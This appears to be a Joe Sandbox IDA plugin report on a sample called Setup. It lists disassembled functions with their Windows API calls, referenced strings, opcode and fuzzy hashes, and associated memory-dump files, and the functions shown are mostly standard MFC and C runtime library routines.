Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 4c0a8e37cd87b94863378cc8094c414c758fed112f9a9eff546682d553c570e2
Instruction ID: 5673db47e40f0073a676e24c647bfbba7a6af5c2fb733313b234d6fc965446bc
Opcode Fuzzy Hash: 4c0a8e37cd87b94863378cc8094c414c758fed112f9a9eff546682d553c570e2
Instruction Fuzzy Hash: 49F08276601214BFC7116BA9DC49E6FFBFDEF457A17018056F905E3221DB788E018BA1

Function 00CC3F5A Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000020,00000000,00000000,00000000,?,00CC3254,00000000,00000001,00000000,00000000,?,00CBD5A7,00000000,00D213B0,00000000), ref: 00CC3F71
GetLastError.KERNEL32(?,00CC3254,00000000,00000001,00000000,00000000,?,00CBD5A7,00000000,00D213B0,00000000,00000000,00000000,?,00CBDAFB,00000010), ref: 00CC3F7D

Part of subcall function 00CC3F43: CloseHandle.KERNEL32(FFFFFFFE,00CC3F8D,?,00CC3254,00000000,00000001,00000000,00000000,?,00CBD5A7,00000000,00D213B0,00000000,00000000,00000000), ref: 00CC3F53

___initconout.LIBCMT ref: 00CC3F8D

Part of subcall function 00CC3F05: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00CC3F34,00CC3241,00000000,?,00CBD5A7,00000000,00D213B0,00000000,00000000), ref: 00CC3F18

WriteConsoleW.KERNEL32(00000000,00000020,00000000,00000000,?,00CC3254,00000000,00000001,00000000,00000000,?,00CBD5A7,00000000,00D213B0,00000000,00000000), ref: 00CC3FA2

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1fe32ab812c4ddc2e57de6a43af9f066b4aa1c5ed39ba62e32351e0060ef6415
Instruction ID: 53e10bbccdf73d90b4cb0c706de110dc5cbfcc030b7d8448d79c8d928a6b3750
Opcode Fuzzy Hash: 1fe32ab812c4ddc2e57de6a43af9f066b4aa1c5ed39ba62e32351e0060ef6415
Instruction Fuzzy Hash: A0F01236401299BBCF221FD5EC04F8D3F25FB04760B004459F91986120D7728A60DB91

Function 00C9F4D4 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00B75ECE: ShowWindow.USER32(?,00000000,?,?,00B69BB1,00000000,?,00000363,00000001,00000000,00000001,00000001,?,?,00000363,00000001), ref: 00B75EDF

UpdateWindow.USER32(?), ref: 00C9F4FB
UpdateWindow.USER32(?), ref: 00C9F50E
SetRectEmpty.USER32(?), ref: 00C9F51B
SetRectEmpty.USER32(?), ref: 00C9F528

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$EmptyRectUpdate$Show
String ID:
API String ID: 1262231214-0
Opcode ID: d322ab2c43c8b3ccf71d3db44c5757a4dc4f9c497a445835d6c12eefd3d1b13f
Instruction ID: 12f3c39971775c55833f28e630da1f25f572a993ce3489a7893d0d7e266d19dc
Opcode Fuzzy Hash: d322ab2c43c8b3ccf71d3db44c5757a4dc4f9c497a445835d6c12eefd3d1b13f
Instruction Fuzzy Hash: ABF0F831611651DFDB229F30D908B9A7BE8FB05305F058469B0AAC2160CB74EA05CF51

Function 00B95A2D Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00B95A49
GetTickCount.KERNEL32 ref: 00B95A5A
CoFreeUnusedLibraries.OLE32 ref: 00B95A6D
GetTickCount.KERNEL32 ref: 00B95A73

Part of subcall function 00B959BF: CoFreeUnusedLibraries.OLE32 ref: 00B95A14
Part of subcall function 00B959BF: OleUninitialize.OLE32 ref: 00B95A1A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: 97cb1faa4e733b62d51bf7e65057497261158a7875c4ae36fbe69c3c15730560
Instruction ID: 0b3b28385d01d36bd3a64bc502380620f438e9fea48e1a34ac295ef27157b1e9
Opcode Fuzzy Hash: 97cb1faa4e733b62d51bf7e65057497261158a7875c4ae36fbe69c3c15730560
Instruction Fuzzy Hash: 0FE0A530886A459BDB21AFA4FC8C71C7BA4EB10312F548266A406C1235CB345AC6DF26

Function 00C1CC35 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 00C1CC47
SetRectEmpty.USER32(?), ref: 00C1CC51
SetRectEmpty.USER32(?), ref: 00C1CC5B
SetRectEmpty.USER32(?), ref: 00C1CC65

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: 40bc4f63f60c2252ce56ee9c36100600fd31a70781fe0fda169ac4bb5a5c42c3
Instruction ID: e97a903ee6cfc56e358f47c4299d2c3a0bf98a84fe3129bd543e04e0d708b666
Opcode Fuzzy Hash: 40bc4f63f60c2252ce56ee9c36100600fd31a70781fe0fda169ac4bb5a5c42c3
Instruction Fuzzy Hash: CBE0C9714117568BC731AF61DC59BCA7BFCFB44309B04081AE182C3560D779E285CF91

Function 00B89D7E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 00B89D98
GlobalUnlock.KERNEL32(00000000), ref: 00B89EB0

Strings

System, xrefs: 00B89D86

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Global$LockUnlock
String ID: System
API String ID: 2502338518-3470857405
Opcode ID: d4864d1c4fc5cc55c99afdff69d6621ca2380acbc6986e25d70733094ecd3c6e
Instruction ID: 6e44e63a5cdecc68f88ae38a57419361ca2175f971dc2b410f1717d73f1383ac
Opcode Fuzzy Hash: d4864d1c4fc5cc55c99afdff69d6621ca2380acbc6986e25d70733094ecd3c6e
Instruction Fuzzy Hash: DB419031900216DFDF24EFA8C8856BEBBF4FF44745F1885AAE415E7160E7309A59CB90

Function 00B67B97 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B67A56: RegCloseKey.ADVAPI32(00000000,?,?,?,?,00B67885,?,00000000), ref: 00B67A9B

RegSetValueExW.ADVAPI32(00000000,?,00000000,00000003,?,?,?,00000000), ref: 00B67BC6
RegCloseKey.ADVAPI32(00000000), ref: 00B67BCF

Strings

A, xrefs: 00B67C0D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Close$Value
String ID: A
API String ID: 299128501-3554254475
Opcode ID: ee9bdb222c9872abd9c1a56c2533d5cf34b73215290a092087c3255ee7a6cc10
Instruction ID: b70b867bb54132c3ba30b020fd3644499880fe06c6882faede21b0f81a05ada2
Opcode Fuzzy Hash: ee9bdb222c9872abd9c1a56c2533d5cf34b73215290a092087c3255ee7a6cc10
Instruction Fuzzy Hash: DB210036200225BBCB119F64DC85BAE7BE8EF49350F04406AF906CB250DA38CD42D7A0

Function 00B99FD5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B99FDC
SetRectEmpty.USER32(?), ref: 00B9A06B

Strings

Afx:ToolBar, xrefs: 00B9A074

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: EmptyH_prolog3_Rect
String ID: Afx:ToolBar
API String ID: 2941628838-177727192
Opcode ID: 8ead28358361cf9c57cc15d1341a081ea1158479afdf6fecf9ea1493dd1963ea
Instruction ID: 0c3ef4619a6e37e7cdf290e532db4307eafa18d0c41b0a4f754d1f0276c51f94
Opcode Fuzzy Hash: 8ead28358361cf9c57cc15d1341a081ea1158479afdf6fecf9ea1493dd1963ea
Instruction Fuzzy Hash: 56218D71D0061A9FCF00EFB4C946AEE7BE4EF08310F00026AF915A7291DB349E10CBA1

Function 00BEC177 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52registryclipboardCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BEC17E
RegisterClipboardFormatW.USER32(00000010), ref: 00BEC1C8

Strings

ToolbarButton%p, xrefs: 00BEC1B6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClipboardFormatH_prolog3Register
String ID: ToolbarButton%p
API String ID: 1070914459-899657487
Opcode ID: 162110f0d8c0cdf038b8760e6271eb97931025fa6a43e3c2b11468f6a6a358ea
Instruction ID: 17fd3ab040b1d22ced345b6e238ddcc028e5d1d38c85746d64d74a9fe6d3293b
Opcode Fuzzy Hash: 162110f0d8c0cdf038b8760e6271eb97931025fa6a43e3c2b11468f6a6a358ea
Instruction Fuzzy Hash: 4C11C4758006959BCF10FBA1DC11BAE77E8EF10750F100595F921A32D2DB799E06CB75

Function 00B886B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetMonitorInfoW.USER32(?,?), ref: 00B886DA
CopyRect.USER32(?,?), ref: 00B886EC

Strings

(, xrefs: 00B886D3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CopyInfoMonitorRect
String ID: (
API String ID: 2119610155-3887548279
Opcode ID: cb2360e7f264c51236b1bd050a6df4728f856fa73239a39b0afd7d133222883a
Instruction ID: c59d3ef083a4b9860e9599d96803781c5b926f92d7dea25541b4c76ebd81f55f
Opcode Fuzzy Hash: cb2360e7f264c51236b1bd050a6df4728f856fa73239a39b0afd7d133222883a
Instruction Fuzzy Hash: C0119575A01609EFCB50DFA8D985A9EB7F4FB08300B608859E456E7610EB30FE45CB21

Function 00B651A7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104), ref: 00B651CB
PathFindExtensionW.SHLWAPI(?), ref: 00B651E1

Part of subcall function 00B64B5F: __EH_prolog3_GS.LIBCMT ref: 00B64B69

Strings

%Ts%Ts.dll, xrefs: 00B651EE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ExtensionFileFindH_prolog3_ModuleNamePath
String ID: %Ts%Ts.dll
API String ID: 3433622546-1896370695
Opcode ID: 08f340ff1123440ee38beb2979ef62560ea6acd36df46568b79c44652ff99d3e
Instruction ID: a18808ee0f21c70156c2c3861719dd8a4cef4638e937c7b709ddaeb5bd85cb5b
Opcode Fuzzy Hash: 08f340ff1123440ee38beb2979ef62560ea6acd36df46568b79c44652ff99d3e
Instruction Fuzzy Hash: 91018171A01519ABCB21EFA4ED45AEFB7F8EF09700F0100A7A515E7150DA74EA45CBA0

Function 00B76ADD Relevance: 5.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000001,00000000,00D2C7D8,?,?,00000000), ref: 00B76B58
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000), ref: 00B76B6B
LocalFree.KERNEL32(?,?,?,00000000), ref: 00B76B74
TlsSetValue.KERNEL32(?,00000000,?,?,00000000), ref: 00B76B90

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: 2adcb140d466611a3b26281f876c4c99dba67afef979db2d68bc00b4fb7da8ee
Instruction ID: c602f39d98ed94faf4e6b98984c0b8bd1060b6278b36de2a69908e3c4b2e348d
Opcode Fuzzy Hash: 2adcb140d466611a3b26281f876c4c99dba67afef979db2d68bc00b4fb7da8ee
Instruction Fuzzy Hash: 93214835A01614EFCB14DF58C885B9DBBB1FF49314F10C1A9E916AB261C770AA52CF91

Function 00B86200 Relevance: 5.0, APIs: 4, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00D2CA60,00000000,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86231
InitializeCriticalSection.KERNEL32(00000000,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86247
LeaveCriticalSection.KERNEL32(00D2CA60,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86255
EnterCriticalSection.KERNEL32(00000000,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B86262

Part of subcall function 00B86197: InitializeCriticalSection.KERNEL32(00D2CA60,00B8621B,?,?,?,00B76C8D,00000010,00000008,00B6D7E9,00B6D82C,00B68B8C,00B6486F,BFD722F5), ref: 00B861AF

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
